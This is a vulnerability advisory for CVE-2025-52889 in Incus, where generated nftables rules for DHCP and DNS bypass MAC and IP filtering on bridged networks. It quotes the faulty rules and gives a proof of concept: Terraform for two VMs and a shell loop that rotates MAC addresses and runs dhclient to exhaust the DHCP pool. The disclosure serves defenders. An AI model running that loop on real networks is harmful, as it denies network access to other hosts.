CVE-2025-52889: Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks
Summary When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.macfiltering, security.ipv4filtering and security.ipv6filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks.
Published Jun 26, 2025 · Updated Mar 30, 2026
Affected packages
github.com/lxc/incus/v6
- Ecosystem
- Go
- Affected
- <= 6.13.0
- Fixed in
- 6.14.0
- Check
go list -m github.com/lxc/incus/v6
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks.
Details
In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:
iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.
Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server:
{{ if .dnsIPv4 }} {{ range .dnsIPv4 }} iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }}
{{ if .dnsIPv6 }} {{ range .dnsIPv6 }} iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }}
An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.
PoC
With this terraform infrastructure:
resource "incus_network_acl" "acl_allow_out" {
name = "acl-allow-out"
egress = [
{
action = "allow"
destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
state = "enabled"
},
]
}
resource "incus_network_acl" "acl_allow_in" {
name = "acl-allow-in"
ingress = [
{
action = "allow"
state = "enabled"
},
]
}
resource "incus_network" "br0" {
name = "br0"
config = {
"ipv4.address" = "10.0.0.1/24"
"ipv4.nat" = "true"
}
}
resource "incus_instance" "machine1" {
name = "machine1"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
"cloud-init.vendor-data" = <<-EOF
#cloud-config
package_update: true
packages:
- dhclient
- tcpdump
runcmd:
- systemctl disable --now systemd.networkd.service
- systemctl disable --now systemd.networkd.socket
EOF
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
"security.ipv4_filtering" = true
"security.acls" = join(",",
[
incus_network_acl.acl_allow_out.name,
incus_network_acl.acl_allow_in.name,
])
}
}
}
resource "incus_instance" "machine2" {
name = "machine2"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
}
}
}An attacker in a VM requests many IP addresses and exhaust the pool:
[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done
[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l
254
[HOST]$ incus start machine2At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.
Impact
All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.
Credited to obalpetre-anssi, stgraber.
References
- https://github.com/lxc/incus/security/advisories/GHSA-9q7c-qmhm-jv86
- https://nvd.nist.gov/vuln/detail/CVE-2025-52889
- https://github.com/lxc/incus/commit/2516fb19ad8428454cb4edfe70c0a5f0dc1da214
- https://github.com/lxc/incus/commit/a7c33301738aede3c035063e973b1d885d9bac7c
- https://github.com/advisories/GHSA-9q7c-qmhm-jv86
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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